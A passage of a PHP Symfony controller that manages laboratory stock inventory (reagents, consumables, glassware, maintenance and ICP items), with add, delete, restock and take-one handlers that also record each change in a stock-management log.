  2487. * @Route("/stock", name="stock")
  2488. * @return Response $response
  2489. */
  2490. public function stock(Request $request)
  2491. {
  2492. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2493. 'type' => 'Reagent'
  2494. ]);
  2497. if ( $request->getMethod() == "POST" ) {
  2498. $data = $request->request->all();
  2500. if (null !== $request->get('addnew')){
  2501. if ($data) {
  2502. $info = $data['entry'];
  2503. $entry = new Stock();
  2505. $entry->setStockname($info['name'])
  2506. ->setQty((float)$info['qty'])
  2507. ->setLow((float)$info['low'])
  2508. ->setCritical((float)$info['critical'])
  2509. ->setComment($info['comment'])
  2510. ->setSupplier($info['supplier'])
  2511. ->setDatemodified(new \DateTime($info['datemodified']))
  2512. ->setUnits($info['units'])
  2513. ->setType("Reagent");
  2515. $this->em->persist($entry);
  2516. $this->em->flush();
  2518. // Create a new StockManagement entry when adding new entry
  2519. $mgmt = new StockManagement();
  2520. $mgmt->setStockId($entry->getId());
  2521. $mgmt->setStockName($entry->getStockname());
  2522. $mgmt->setSupplier($entry->getSupplier());
  2523. $mgmt->setComment($entry->getComment());
  2524. $mgmt->setStockType($entry->getType());
  2525. $mgmt->setActionType('Add new');
  2526. $mgmt->setQuantity($entry->getQty());
  2527. $mgmt->setTotalQuantity($entry->getQty());
  2528. $mgmt->setDate(new \Datetime());
  2530. $this->em->persist($mgmt);
  2531. $this->em->flush();
  2532. return $this->redirect($this->generateUrl('stock'));
  2533. }
  2534. }
  2535. if (null !== $request->get('delete')){
  2536. if ($data) {
  2537. $info = $data['entryid'];
  2538. /*echo '<pre>';
  2539. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2540. die();*/
  2541. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2542. 'id' => $info
  2543. ]);
  2545. // Create a new StockManagement entry when deleting
  2546. $mgmt = new StockManagement();
  2547. $mgmt->setStockId($entry->getId());
  2548. $mgmt->setStockName($entry->getStockname());
  2549. $mgmt->setSupplier($entry->getSupplier());
  2550. $mgmt->setComment($entry->getComment());
  2551. $mgmt->setStockType($entry->getType());
  2552. $mgmt->setActionType('Delete');
  2553. $mgmt->setQuantity(0);
  2554. $mgmt->setTotalQuantity($entry->getQty());
  2555. $mgmt->setDate(new \Datetime());
  2557. $this->em->remove($entry);
  2558. $this->em->persist($mgmt);
  2559. $this->em->flush();
  2561. return $this->redirect($this->generateUrl('stock'));
  2562. }
  2563. }
  2564. if (null !== $request->get('restock')){
  2565. if ($data) {
  2566. $info = $data['entry'];
  2568. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2569. 'id' => $data['entryid']
  2570. ]);
  2572. $entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
  2573. ->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2574. ->setLow((float)$info['low'])
  2575. ->setCritical((float)$info['critical'])
  2576. ->setStockname($info['name'])
  2577. ->setSupplier($info['supplier'])
  2578. ->setComment($info['comment'])
  2579. ->setUnits($info['units'])
  2580. ->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2582. // Create a new StockManagement entry when restocking
  2583. $mgmt = new StockManagement();
  2584. $mgmt->setStockId($entry->getId());
  2585. $mgmt->setStockName($entry->getStockname());
  2586. $mgmt->setSupplier($entry->getSupplier());
  2587. $mgmt->setComment($entry->getComment());
  2588. $mgmt->setStockType($entry->getType());
  2589. $mgmt->setActionType('Restock');
  2590. $mgmt->setQuantity((float)$data['entry']['qty']);
  2591. $mgmt->setTotalQuantity($entry->getQty());
  2592. $mgmt->setDate(new \Datetime());
  2594. $this->em->persist($entry);
  2595. $this->em->persist($mgmt);
  2596. $this->em->flush();
  2597. return $this->redirect($this->generateUrl('stock'));
  2598. }
  2599. }
  2600. if (null !== $request->get('takeone')){
  2601. if ($data) {
  2602. $info = $data['entryid'];
  2603. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2604. 'id' => $data['entryid']
  2605. ]);
  2606. $entry->setQty($entry->getQty() - 1);
  2607. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2609. // Create a new StockManagement entry when taking one
  2610. $mgmt = new StockManagement();
  2611. $mgmt->setStockId($entry->getId());
  2612. $mgmt->setStockName($entry->getStockname());
  2613. $mgmt->setSupplier($entry->getSupplier());
  2614. $mgmt->setComment($entry->getComment());
  2615. $mgmt->setStockType($entry->getType());
  2616. $mgmt->setActionType('Take One');
  2617. $mgmt->setQuantity(-1);
  2618. $mgmt->setTotalQuantity($entry->getQty());
  2619. $mgmt->setDate(new \Datetime());
  2621. $this->em->persist($entry);
  2622. $this->em->persist($mgmt);
  2623. $this->em->flush();
  2624. return $this->redirect($this->generateUrl('stock'));
  2625. }
  2626. }
  2628. // Handle 'orderstatus' checkbox change
  2629. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2630. $entryId = $data['entryid'];
  2631. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2633. // Find the Stock entry by ID
  2634. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2635. 'id' => $entryId
  2636. ]);
  2638. if ($entry) {
  2639. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2640. $this->em->persist($entry);
  2641. $this->em->flush();
  2642. return $this->redirect($this->generateUrl('stock'));
  2643. }
  2645. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2646. }
  2647. }
  2651. return $this->render('cats/stock.html.twig',[
  2652. 'stock' => $stock
  2653. ]);
  2654. }
  2656. //=====================================================================================================================================================================================<
  2657. /**
  2658. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2659. * @param Request $request
  2660. * @Route("/stockconsume", name="stockconsume")
  2661. * @return Response $response
  2662. */
  2663. public function stockconsume(Request $request)
  2664. {
  2665. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2666. 'type' => 'Consumable'
  2667. ]);
  2670. if ( $request->getMethod() == "POST" ) {
  2671. $data = $request->request->all();
  2673. if (null !== $request->get('addnew')){
  2674. if ($data) {
  2675. $info = $data['entry'];
  2676. $entry = new Stock();
  2677. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2678. ->setLow((float)$info['low'])
  2679. ->setCritical((float)$info['critical']);
  2680. $entry->setComment($info['comment']);
  2681. $entry->setSupplier($info['supplier']);
  2682. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2683. $entry->setUnits($info['units']);
  2684. $entry->setType("Consumable");
  2685. $this->em->persist($entry);
  2686. $this->em->flush();
  2688. // Create a new StockManagement entry when adding new entry
  2689. $mgmt = new StockManagement();
  2690. $mgmt->setStockId($entry->getId());
  2691. $mgmt->setStockName($entry->getStockname());
  2692. $mgmt->setSupplier($entry->getSupplier());
  2693. $mgmt->setComment($entry->getComment());
  2694. $mgmt->setStockType($entry->getType());
  2695. $mgmt->setActionType('Add new');
  2696. $mgmt->setQuantity($entry->getQty());
  2697. $mgmt->setTotalQuantity($entry->getQty());
  2698. $mgmt->setDate(new \Datetime());
  2700. $this->em->persist($mgmt);
  2701. $this->em->flush();
  2702. return $this->redirect($this->generateUrl('stockconsume'));
  2703. }
  2704. }
  2705. if (null !== $request->get('delete')){
  2706. if ($data) {
  2707. $info = $data['entryid'];
  2708. /*echo '<pre>';
  2709. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2710. die();*/
  2711. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2712. 'id' => $info
  2713. ]);
  2715. // Create a new StockManagement entry when deleting
  2716. $mgmt = new StockManagement();
  2717. $mgmt->setStockId($entry->getId());
  2718. $mgmt->setStockName($entry->getStockname());
  2719. $mgmt->setSupplier($entry->getSupplier());
  2720. $mgmt->setComment($entry->getComment());
  2721. $mgmt->setStockType($entry->getType());
  2722. $mgmt->setActionType('Delete');
  2723. $mgmt->setQuantity(0);
  2724. $mgmt->setTotalQuantity($entry->getQty());
  2725. $mgmt->setDate(new \Datetime());
  2727. $this->em->remove($entry);
  2728. $this->em->persist($mgmt);
  2729. $this->em->flush();
  2731. return $this->redirect($this->generateUrl('stockconsume'));
  2732. }
  2733. }
  2734. if (null !== $request->get('restock')){
  2735. if ($data) {
  2736. $info = $data['entry'];
  2738. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2739. 'id' => $data['entryid']
  2740. ]);
  2741. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2742. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2743. ->setLow((float)$info['low'])
  2744. ->setCritical((float)$info['critical']);
  2745. $entry->setStockname($info['name']);
  2746. $entry->setSupplier($info['supplier']);
  2747. $entry->setComment($info['comment']);
  2748. $entry->setUnits($info['units']);
  2749. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2751. // Create a new StockManagement entry when restocking
  2752. $mgmt = new StockManagement();
  2753. $mgmt->setStockId($entry->getId());
  2754. $mgmt->setStockName($entry->getStockname());
  2755. $mgmt->setSupplier($entry->getSupplier());
  2756. $mgmt->setComment($entry->getComment());
  2757. $mgmt->setStockType($entry->getType());
  2758. $mgmt->setActionType('Restock');
  2759. $mgmt->setQuantity((float)$data['entry']['qty']);
  2760. $mgmt->setTotalQuantity($entry->getQty());
  2761. $mgmt->setDate(new \Datetime());
  2763. $this->em->persist($entry);
  2764. $this->em->persist($mgmt);
  2765. $this->em->flush();
  2766. return $this->redirect($this->generateUrl('stockconsume'));
  2767. }
  2768. }
  2769. if (null !== $request->get('takeone')){
  2770. if ($data) {
  2771. $info = $data['entryid'];
  2772. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2773. 'id' => $data['entryid']
  2774. ]);
  2775. $entry->setQty($entry->getQty() - 1);
  2776. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2778. // Create a new StockManagement entry when taking one
  2779. $mgmt = new StockManagement();
  2780. $mgmt->setStockId($entry->getId());
  2781. $mgmt->setStockName($entry->getStockname());
  2782. $mgmt->setSupplier($entry->getSupplier());
  2783. $mgmt->setComment($entry->getComment());
  2784. $mgmt->setStockType($entry->getType());
  2785. $mgmt->setActionType('Take One');
  2786. $mgmt->setQuantity(-1);
  2787. $mgmt->setTotalQuantity($entry->getQty());
  2788. $mgmt->setDate(new \Datetime());
  2790. $this->em->persist($entry);
  2791. $this->em->persist($mgmt);
  2792. $this->em->flush();
  2793. return $this->redirect($this->generateUrl('stockconsume'));
  2794. }
  2795. }
  2797. // Handle 'orderstatus' checkbox change
  2798. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2799. $entryId = $data['entryid'];
  2800. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2802. // Find the Stock entry by ID
  2803. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2804. 'id' => $entryId
  2805. ]);
  2807. if ($entry) {
  2808. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2809. $this->em->persist($entry);
  2810. $this->em->flush();
  2811. return $this->redirect($this->generateUrl('stockconsume'));
  2812. }
  2814. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2815. }
  2816. }
  2818. return $this->render('cats/stockconsume.html.twig',[
  2819. 'stock' => $stock
  2820. ]);
  2821. }
  2823. //=====================================================================================================================================================================================<
  2824. /**
  2825. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2826. * @param Request $request
  2827. * @Route("/equipstock", name="equipstock")
  2828. * @return Response $response
  2829. */
  2830. public function equipstock(Request $request)
  2831. {
  2832. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2833. 'type' => 'Glass'
  2834. ]);
  2837. if ( $request->getMethod() == "POST" ) {
  2838. $data = $request->request->all();
  2840. if (null !== $request->get('addnew')){
  2841. if ($data) {
  2842. $info = $data['entry'];
  2843. $entry = new Stock();
  2844. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2845. ->setLow((float)$info['low'])
  2846. ->setCritical((float)$info['critical']);
  2847. $entry->setComment($info['comment']);
  2848. $entry->setSupplier($info['supplier']);
  2849. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2850. $entry->setUnits($info['units']);
  2851. $entry->setType("Glass");
  2852. $this->em->persist($entry);
  2853. $this->em->flush();
  2855. // Create a new StockManagement entry when adding new entry
  2856. $mgmt = new StockManagement();
  2857. $mgmt->setStockId($entry->getId());
  2858. $mgmt->setStockName($entry->getStockname());
  2859. $mgmt->setSupplier($entry->getSupplier());
  2860. $mgmt->setComment($entry->getComment());
  2861. $mgmt->setStockType($entry->getType());
  2862. $mgmt->setActionType('Add new');
  2863. $mgmt->setQuantity($entry->getQty());
  2864. $mgmt->setTotalQuantity($entry->getQty());
  2865. $mgmt->setDate(new \Datetime());
  2867. $this->em->persist($mgmt);
  2868. $this->em->flush();
  2869. return $this->redirect($this->generateUrl('equipstock'));
  2870. }
  2871. }
  2872. if (null !== $request->get('delete')){
  2873. if ($data) {
  2874. $info = $data['entryid'];
  2875. /*echo '<pre>';
  2876. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2877. die();*/
  2878. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2879. 'id' => $info
  2880. ]);
  2882. // Create a new StockManagement entry when deleting
  2883. $mgmt = new StockManagement();
  2884. $mgmt->setStockId($entry->getId());
  2885. $mgmt->setStockName($entry->getStockname());
  2886. $mgmt->setSupplier($entry->getSupplier());
  2887. $mgmt->setComment($entry->getComment());
  2888. $mgmt->setStockType($entry->getType());
  2889. $mgmt->setActionType('Delete');
  2890. $mgmt->setQuantity(0);
  2891. $mgmt->setTotalQuantity($entry->getQty());
  2892. $mgmt->setDate(new \Datetime());
  2894. $this->em->remove($entry);
  2895. $this->em->persist($mgmt);
  2896. $this->em->flush();
  2898. return $this->redirect($this->generateUrl('equipstock'));
  2899. }
  2900. }
  2901. if (null !== $request->get('restock')){
  2902. if ($data) {
  2903. $info = $data['entry'];
  2905. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2906. 'id' => $data['entryid']
  2907. ]);
  2908. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2909. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2910. ->setLow((float)$info['low'])
  2911. ->setCritical((float)$info['critical']);
  2912. $entry->setStockname($info['name']);
  2913. $entry->setSupplier($info['supplier']);
  2914. $entry->setComment($info['comment']);
  2915. $entry->setUnits($info['units']);
  2916. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2918. // Create a new StockManagement entry when restocking
  2919. $mgmt = new StockManagement();
  2920. $mgmt->setStockId($entry->getId());
  2921. $mgmt->setStockName($entry->getStockname());
  2922. $mgmt->setSupplier($entry->getSupplier());
  2923. $mgmt->setComment($entry->getComment());
  2924. $mgmt->setStockType($entry->getType());
  2925. $mgmt->setActionType('Restock');
  2926. $mgmt->setQuantity((float)$data['entry']['qty']);
  2927. $mgmt->setTotalQuantity($entry->getQty());
  2928. $mgmt->setDate(new \Datetime());
  2930. $this->em->persist($entry);
  2931. $this->em->persist($mgmt);
  2932. $this->em->flush();
  2933. return $this->redirect($this->generateUrl('equipstock'));
  2934. }
  2935. }
  2936. if (null !== $request->get('takeone')){
  2937. if ($data) {
  2938. $info = $data['entryid'];
  2939. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2940. 'id' => $data['entryid']
  2941. ]);
  2942. $entry->setQty($entry->getQty() - 1);
  2943. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2945. // Create a new StockManagement entry when taking one
  2946. $mgmt = new StockManagement();
  2947. $mgmt->setStockId($entry->getId());
  2948. $mgmt->setStockName($entry->getStockname());
  2949. $mgmt->setSupplier($entry->getSupplier());
  2950. $mgmt->setComment($entry->getComment());
  2951. $mgmt->setStockType($entry->getType());
  2952. $mgmt->setActionType('Take One');
  2953. $mgmt->setQuantity(-1);
  2954. $mgmt->setTotalQuantity($entry->getQty());
  2955. $mgmt->setDate(new \Datetime());
  2957. $this->em->persist($entry);
  2958. $this->em->persist($mgmt);
  2959. $this->em->flush();
  2960. return $this->redirect($this->generateUrl('equipstock'));
  2961. }
  2962. }
  2964. // Handle 'orderstatus' checkbox change
  2965. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2966. $entryId = $data['entryid'];
  2967. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2969. // Find the Stock entry by ID
  2970. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2971. 'id' => $entryId
  2972. ]);
  2974. if ($entry) {
  2975. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2976. $this->em->persist($entry);
  2977. $this->em->flush();
  2978. return $this->redirect($this->generateUrl('equipstock'));
  2979. }
  2981. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2982. }
  2983. }
  2985. return $this->render('cats/equipstock.html.twig',[
  2986. 'stock' => $stock
  2987. ]);
  2988. }
  2991. //=====================================================================================================================================================================================<
  2992. /**
  2993. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2994. * @param Request $request
  2995. * @Route("/stockMaintenance", name="stockMaintenance")
  2996. * @return Response $response
  2997. */
  2998. public function stockMaintenance(Request $request)
  2999. {
  3000. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3001. 'type' => 'Maintenance'
  3002. ]);
  3005. if ( $request->getMethod() == "POST" ) {
  3006. $data = $request->request->all();
  3008. if (null !== $request->get('addnew')){
  3009. if ($data) {
  3010. $info = $data['entry'];
  3011. $entry = new Stock();
  3013. $entry->setStockname($info['name'])
  3014. ->setSupplier($info['supplier'])
  3015. ->setFault($info['fault'])
  3016. ->setUnits($info['units'])
  3017. ->setQty(1)
  3018. ->setComment($info['comment'])
  3019. ->setDatemodified(new \DateTime($info['datemodified']))
  3020. ->setType("Maintenance");
  3022. $this->em->persist($entry);
  3023. $this->em->flush();
  3024. return $this->redirect($this->generateUrl('stockMaintenance'));
  3025. }
  3026. }
  3027. if (null !== $request->get('delete')){
  3028. if ($data) {
  3029. $info = $data['entryid'];
  3030. /*echo '<pre>';
  3031. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3032. die();*/
  3033. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3034. 'id' => $info
  3035. ]);
  3036. $this->em->remove($entry);
  3037. $this->em->flush();
  3039. return $this->redirect($this->generateUrl('stockMaintenance'));
  3040. }
  3041. }
  3042. if (null !== $request->get('restock')){
  3043. if ($data) {
  3044. $info = $data['entry'];
  3046. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3047. 'id' => $data['entryid']
  3048. ]);
  3049. $entry->setDatemodified(new \DateTime());
  3050. $entry->setStockname($info['name']);
  3051. $entry->setFault($info['fault']);
  3052. $entry->setSupplier($info['supplier']);
  3053. $entry->setComment($info['comment']);
  3054. $entry->setUnits($info['units']);
  3055. $this->em->persist($entry);
  3056. $this->em->flush();
  3057. return $this->redirect($this->generateUrl('stockMaintenance'));
  3058. }
  3059. }
  3060. }
  3062. return $this->render('cats/stockMaintenance.html.twig',[
  3063. 'stock' => $stock
  3064. ]);
  3065. }
  3066. //=====================================================================================================================================================================================<
  3067. /**
  3068. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3069. * @param Request $request
  3070. * @Route("/icpstock", name="icpstock")
  3071. * @return Response $response
  3072. */
  3073. public function icpstock(Request $request)
  3074. {
  3075. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3076. 'type' => 'ICP'
  3077. ]);
  3080. if ( $request->getMethod() == "POST" ) {
  3081. $data = $request->request->all();
  3083. if (null !== $request->get('addnew')){
  3084. if ($data) {
  3085. $info = $data['entry'];
  3086. $entry = new Stock();
  3087. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3088. ->setLow((float)$info['low'])
  3089. ->setCritical((float)$info['critical']);
  3090. $entry->setComment($info['comment']);
  3091. $entry->setSupplier($info['supplier']);
  3092. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3093. $entry->setUnits($info['units']);
  3094. $entry->setType("ICP");
  3095. $this->em->persist($entry);
  3096. $this->em->flush();
  3098. // Create a new StockManagement entry when adding new entry
  3099. $mgmt = new StockManagement();
  3100. $mgmt->setStockId($entry->getId());
  3101. $mgmt->setStockName($entry->getStockname());
  3102. $mgmt->setSupplier($entry->getSupplier());
  3103. $mgmt->setComment($entry->getComment());
  3104. $mgmt->setStockType($entry->getType());
  3105. $mgmt->setActionType('Add new');
  3106. $mgmt->setQuantity($entry->getQty());
  3107. $mgmt->setTotalQuantity($entry->getQty());
  3108. $mgmt->setDate(new \Datetime());
  3110. $this->em->persist($mgmt);
  3111. $this->em->flush();
  3112. return $this->redirect($this->generateUrl('icpstock'));
  3113. }
  3114. }
  3115. if (null !== $request->get('delete')){
  3116. if ($data) {
  3117. $info = $data['entryid'];
  3118. /*echo '<pre>';
  3119. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3120. die();*/
  3121. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3122. 'id' => $info
  3123. ]);
  3125. // Create a new StockManagement entry when deleting
  3126. $mgmt = new StockManagement();
  3127. $mgmt->setStockId($entry->getId());
  3128. $mgmt->setStockName($entry->getStockname());
  3129. $mgmt->setSupplier($entry->getSupplier());
  3130. $mgmt->setComment($entry->getComment());
  3131. $mgmt->setStockType($entry->getType());
  3132. $mgmt->setActionType('Delete');
  3133. $mgmt->setQuantity(0);
  3134. $mgmt->setTotalQuantity($entry->getQty());
  3135. $mgmt->setDate(new \Datetime());
  3137. $this->em->remove($entry);
  3138. $this->em->persist($mgmt);
  3139. $this->em->flush();
  3141. return $this->redirect($this->generateUrl('icpstock'));
  3142. }
  3143. }
  3144. if (null !== $request->get('restock')){
  3145. if ($data) {
  3146. $info = $data['entry'];
  3148. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3149. 'id' => $data['entryid']
  3150. ]);
  3151. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3152. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3153. ->setLow((float)$info['low'])
  3154. ->setCritical((float)$info['critical']);
  3155. $entry->setStockname($info['name']);
  3156. $entry->setSupplier($info['supplier']);
  3157. $entry->setComment($info['comment']);
  3158. $entry->setUnits($info['units']);
  3159. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3161. // Create a new StockManagement entry when restocking
  3162. $mgmt = new StockManagement();
  3163. $mgmt->setStockId($entry->getId());
  3164. $mgmt->setStockName($entry->getStockname());
  3165. $mgmt->setSupplier($entry->getSupplier());
  3166. $mgmt->setComment($entry->getComment());
  3167. $mgmt->setStockType($entry->getType());
  3168. $mgmt->setActionType('Restock');
  3169. $mgmt->setQuantity((float)$data['entry']['qty']);
  3170. $mgmt->setTotalQuantity($entry->getQty());
  3171. $mgmt->setDate(new \Datetime());
  3173. $this->em->persist($entry);
  3174. $this->em->persist($mgmt);
  3175. $this->em->flush();
  3176. return $this->redirect($this->generateUrl('icpstock'));
  3177. }
  3178. }
  3179. if (null !== $request->get('takeone')){
  3180. if ($data) {
  3181. $info = $data['entryid'];
  3182. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3183. 'id' => $data['entryid']
  3184. ]);
  3185. $entry->setQty($entry->getQty() - 1);
  3186. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3188. // Create a new StockManagement entry when taking one
  3189. $mgmt = new StockManagement();
  3190. $mgmt->setStockId($entry->getId());
  3191. $mgmt->setStockName($entry->getStockname());
  3192. $mgmt->setSupplier($entry->getSupplier());
  3193. $mgmt->setComment($entry->getComment());
  3194. $mgmt->setStockType($entry->getType());
  3195. $mgmt->setActionType('Take One');
  3196. $mgmt->setQuantity(-1);
  3197. $mgmt->setTotalQuantity($entry->getQty());
  3198. $mgmt->setDate(new \Datetime());
  3200. $this->em->persist($entry);
  3201. $this->em->persist($mgmt);
  3202. $this->em->flush();
  3203. return $this->redirect($this->generateUrl('icpstock'));
  3204. }
  3205. }
  3207. // Handle 'orderstatus' checkbox change
  3208. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3209. $entryId = $data['entryid'];
  3210. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3212. // Find the Stock entry by ID
  3213. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3214. 'id' => $entryId
  3215. ]);
  3217. if ($entry) {
  3218. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3219. $this->em->persist($entry);
  3220. $this->em->flush();
  3221. return $this->redirect($this->generateUrl('icpstock'));
  3222. }
  3224. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3225. }
  3226. }
  3228. return $this->render('cats/icpstock.html.twig',[
  3229. 'stock' => $stock
  3230. ]);
  3231. }
  3233. //=====================================================================================================================================================================================<
  3234. /**
  3235. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3236. * @param Request $request
  3237. * @Route("/icpstandardstock", name="icpstandardstock")
  3238. * @return Response $response
  3239. */
  3240. public function icpstandardstock(Request $request)
  3241. {
  3242. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3243. 'type' => 'ICP Standard'
  3244. ]);
  3247. if ( $request->getMethod() == "POST" ) {
  3248. $data = $request->request->all();
  3250. if (null !== $request->get('addnew')){
  3251. if ($data) {
  3252. $info = $data['entry'];
  3253. $entry = new Stock();
  3254. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3255. ->setLow((float)$info['low'])
  3256. ->setCritical((float)$info['critical']);
  3257. $entry->setComment($info['comment']);
  3258. $entry->setSupplier($info['supplier']);
  3259. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3260. $entry->setUnits($info['units']);
  3261. $entry->setType("ICP Standard");
  3262. $this->em->persist($entry);
  3263. $this->em->flush();
  3265. // Create a new StockManagement entry when adding new entry
  3266. $mgmt = new StockManagement();
  3267. $mgmt->setStockId($entry->getId());
  3268. $mgmt->setStockName($entry->getStockname());
  3269. $mgmt->setSupplier($entry->getSupplier());
  3270. $mgmt->setComment($entry->getComment());
  3271. $mgmt->setStockType($entry->getType());
  3272. $mgmt->setActionType('Add new');
  3273. $mgmt->setQuantity($entry->getQty());
  3274. $mgmt->setTotalQuantity($entry->getQty());
  3275. $mgmt->setDate(new \Datetime());
  3277. $this->em->persist($mgmt);
  3278. $this->em->flush();
  3279. return $this->redirect($this->generateUrl('icpstandardstock'));
  3280. }
  3281. }
  3283. if (null !== $request->get('delete')){
  3284. if ($data) {
  3285. $info = $data['entryid'];
  3286. /*echo '<pre>';
  3287. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3288. die();*/
  3289. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3290. 'id' => $info
  3291. ]);
  3293. // Create a new StockManagement entry when deleting
  3294. $mgmt = new StockManagement();
  3295. $mgmt->setStockId($entry->getId());
  3296. $mgmt->setStockName($entry->getStockname());
  3297. $mgmt->setSupplier($entry->getSupplier());
  3298. $mgmt->setComment($entry->getComment());
  3299. $mgmt->setStockType($entry->getType());
  3300. $mgmt->setActionType('Delete');
  3301. $mgmt->setQuantity(0);
  3302. $mgmt->setTotalQuantity($entry->getQty());
  3303. $mgmt->setDate(new \Datetime());
  3305. $this->em->remove($entry);
  3306. $this->em->persist($mgmt);
  3307. $this->em->flush();
  3309. return $this->redirect($this->generateUrl('icpstandardstock'));
  3310. }
  3311. }
  3313. if (null !== $request->get('restock')){
  3314. if ($data) {
  3315. $info = $data['entry'];
  3317. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3318. 'id' => $data['entryid']
  3319. ]);
  3320. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3321. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3322. ->setLow((float)$info['low'])
  3323. ->setCritical((float)$info['critical']);
  3324. $entry->setStockname($info['name']);
  3325. $entry->setSupplier($info['supplier']);
  3326. $entry->setComment($info['comment']);
  3327. $entry->setUnits($info['units']);
  3328. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3330. // Create a new StockManagement entry when restocking
  3331. $mgmt = new StockManagement();
  3332. $mgmt->setStockId($entry->getId());
  3333. $mgmt->setStockName($entry->getStockname());
  3334. $mgmt->setSupplier($entry->getSupplier());
  3335. $mgmt->setComment($entry->getComment());
  3336. $mgmt->setStockType($entry->getType());
  3337. $mgmt->setActionType('Restock');
  3338. $mgmt->setQuantity((float)$data['entry']['qty']);
  3339. $mgmt->setTotalQuantity($entry->getQty());
  3340. $mgmt->setDate(new \Datetime());
  3342. $this->em->persist($entry);
  3343. $this->em->persist($mgmt);
  3344. $this->em->flush();
  3345. return $this->redirect($this->generateUrl('icpstandardstock'));
  3346. }
  3347. }
  3349. if (null !== $request->get('takeone')){
  3350. if ($data) {
  3351. $info = $data['entryid'];
  3352. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3353. 'id' => $data['entryid']
  3354. ]);
  3355. $entry->setQty($entry->getQty() - 1);
  3356. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3358. // Create a new StockManagement entry when taking one
  3359. $mgmt = new StockManagement();
  3360. $mgmt->setStockId($entry->getId());
  3361. $mgmt->setStockName($entry->getStockname());
  3362. $mgmt->setSupplier($entry->getSupplier());
  3363. $mgmt->setComment($entry->getComment());
